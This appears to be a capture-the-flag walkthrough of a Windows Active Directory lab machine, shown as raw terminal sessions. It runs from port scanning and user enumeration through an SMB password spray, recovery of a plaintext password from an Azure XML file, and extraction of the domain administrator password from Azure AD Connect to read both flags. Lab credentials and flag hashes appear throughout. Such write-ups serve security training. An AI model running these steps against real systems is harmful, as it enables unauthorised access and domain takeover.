

```
root@kali:~/Masaüstü# nmap -sS -sV -p- -T4 10.10.10.172
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-16 15:32 +03
Nmap scan report for 10.10.10.172
Host is up (0.071s latency).
Not shown: 65518 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-16 12:47:26Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
49667/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc        Microsoft Windows RPC
49700/tcp open  msrpc        Microsoft Windows RPC
49768/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=1/16%Time=5E20592F%P=x86_64-pc-linux-gnu%(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
root@kali:~/Masaüstü# rpcclient -U "" -N 10.10.10.172
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
rpcclient $> ^C
```

```
root@kali:~/Masaüstü# cat users.txt
```

```
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
```

```
root@kali:~/Masaüstü# cat passwords.txt
```

```
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
```

```
root@kali:~/Downloads/evil-winrm# msfconsole -q
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > show options
```

```
Module options (auxiliary/scanner/smb/smb_login):
```

Name	Current Setting	Required	Description
ABORT_ON_LOCKOUT	false	yes	Abort the run when an account lockout is detected
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DETECT_ANY_AUTH	false	no	Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN	false	no	Detect if domain is required for the specified user
PASS_FILE		no	File containing passwords, one per line
PRESERVE_DOMAINS	true	no	Respect a username that contains a domain name.
RECORD_GUEST	false	no	Record guest-privileged random logins to the database
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

```
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /root/Masaüstü/passwords.txt
```

```
PASS_FILE => /root/Masaüstü/passwords.txt
```

```
msf5 auxiliary(scanner/smb/smb_login) > set USER_FILE /root/Masaüstü/users.txt
```

```
USER_FILE => /root/Masaüstü/users.txt
```

```
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.10.10.172
```

```
RHOSTS => 10.10.10.172
```

```
msf5 auxiliary(scanner/smb/smb_login) > set SMBD
```

```
set SMBDIRECT set SMBDOMAIN
```

```
msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain megabank.local0
```

```
SMBDomain => megabank.local0
```

```
msf5 auxiliary(scanner/smb/smb_login) > run
```



```
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\Guest:svc-netapp',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\Guest:dgalanos',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\Guest:roleary',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\Guest:smorgan',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:Guest',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:AAD_987d7f2f57d2',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:mhope',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:SABatchJobs',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:svc-ata',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:svc-bexec',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:svc-netapp',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:dgalanos',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:roleary',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\AAD_987d7f2f57d2:smorgan',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:Guest',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:AAD_987d7f2f57d2',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:mhope',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:SABatchJobs',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:svc-ata',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:svc-bexec',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:svc-netapp',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:dgalanos',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:roleary',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\mhope:smorgan',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\SABatchJobs:Guest',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\SABatchJobs:AAD_987d7f2f57d2',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\SABatchJobs:mhope',
[+] 10.10.10.172:445 - 10.10.10.172:445 - Success: 'megabank.local0\SABatchJobs:SABatchJobs'
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:Guest',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:AAD_987d7f2f57d2',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:mhope',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:SABatchJobs',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:svc-ata',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:svc-bexec',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:svc-netapp',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:dgalanos',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: 'megabank.local0\svc-ata:roleary',
```

```
root@kali:~/Masaüstü# smbclient -L \\\10.10.10.172\\ -U "megabank.local0\SABatchJobs"
```

```
Enter MEGABANK.LOCAL0\SABatchJobs's password:
```

Sharename	Type	Comment
ADMIN\$	Disk	Remote Admin
azure_uploads	Disk	
C\$	Disk	Default share
E\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
SYSVOL	Disk	Logon server share
users\$	Disk	

```
SMB1 disabled -- no workgroup available
```

```
root@kali:~/Masaüstü# smbclient \\\10.10.10.172\\users$ -U "megabank.local0\SABatchJobs"
```

```
Enter MEGABANK.LOCAL0\SABatchJobs's password:
```

```
Try "help" to get a list of possible commands.
```

```
smb: \> dir
```

.	D	0	Fri Jan 3 16:12:48 2020
..	D	0	Fri Jan 3 16:12:48 2020
dgalanos	D	0	Fri Jan 3 16:12:30 2020
mhope	D	0	Fri Jan 3 16:41:18 2020
roleary	D	0	Fri Jan 3 16:10:30 2020
smorgan	D	0	Fri Jan 3 16:10:24 2020

```
524031 blocks of size 4096. 518419 blocks available
```

```
smb: \> cd mhope
```

```
smb: \mhope\> dir
```

.	D	0	Fri Jan 3 16:41:18 2020
..	D	0	Fri Jan 3 16:41:18 2020
azure.xml	AR	1212	Fri Jan 3 16:40:23 2020

```
524031 blocks of size 4096. 518419 blocks available
```

```
smb: \mhope\> get azure.xml
```

```
getting file \mhope\azure.xml of size 1212 as azure.xml (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
```

```
smb: \mhope\>
```



```
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">000000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>
```

```
root@kali:~/Downloads/evil-winrm# ruby evil-winrm.rb -i 10.10.10.172 -u mhope -P 5985 -p 4n0therD4y@n0th3r$
```

```
Evil-WinRM shell v2.0
```

```
Info: Establishing connection to remote endpoint
```

```
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ..
```

```
*Evil-WinRM* PS C:\Users\mhope> cd Desktop
```

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> dir
```

```
Directory: C:\Users\mhope\Desktop
```

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-ar---	1/3/2020 5:48 AM	32	user.txt

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> cat user.txt
```

```
4961976bd7d8f4eeb2ce3705e2f212f2
```

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> █
```

```
*Evil-WinRM* PS C:\users\mhope\Documents> whoami /all
```

USER INFORMATION

User Name SID
megabank\mhope S-1-5-21-391775091-850290835-3566037492-1601

GROUP INFORMATION

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users	Alias	S-1-5-32-580	Mandatory group, Enabled by default, Enabled group
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access	Alias	S-1-5-32-554	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK	Well-known group	S-1-5-2	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group, Enabled by default, Enabled group
MEGABANK\Azure Admins	Group	S-1-5-21-391775091-850290835-3566037492-2601	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication	Well-known group	S-1-5-64-10	Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level	Label	S-1-16-8448	

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

USER CLAIMS INFORMATION

User claims unknown.

Hackplayers / PsCablesa-tools

Watch 6 Star 27 Fork 10

Code Issues 0 Pull requests 0 Projects 0 Security Insights

Join GitHub today


Dismiss

GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.

Sign up

Branch: master PsCablesa-tools / Privesc / Azure-ADConnect.ps1

Find file Copy path

 **cybervaca** Extract credentials from the Azure AD Connect service.

4c71f1a 4 days ago

1 contributor

59 lines (51 sloc) 2.21 KB

Raw Blame History

```
1 Function Azure-ADConnect {param($db,$server)
2 $help = @"
3 .SYNOPSIS
4     Azure-ADConnect
5     PowerShell Function: Azure-ADConnect
6     Author: Luis Vacas (CyberVaca)
7     Based on: https://blog.xpnsec.com/azuread-connect-for-redteam/
8
9     Required dependencies: None
10    Optional dependencies: None
11 .DESCRIPTION
```

```
*Evil-WinRM* PS C:\users\mhope\Documents> Import-Module C:\users\mhope\Documents\Azure-ADConnect.ps1
*Evil-WinRM* PS C:\users\mhope\Documents> Azure-ADConnect -server 127.0.0.1 -db ADSync
[+] Domain: MEGABANK.LOCAL
[+] Username: administrator
[+] Password: d0m@in4dminyeah!
```

```
root@kali:~/Downloads/evil-winrm# ruby evil-winrm.rb -i 10.10.10.172 -u administrator -P 5985 -p d0m@in4dminyeah!
```

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
```

```
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
```

```
12909612d25c8dcf6e5a07d1a804a0bc
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> 
```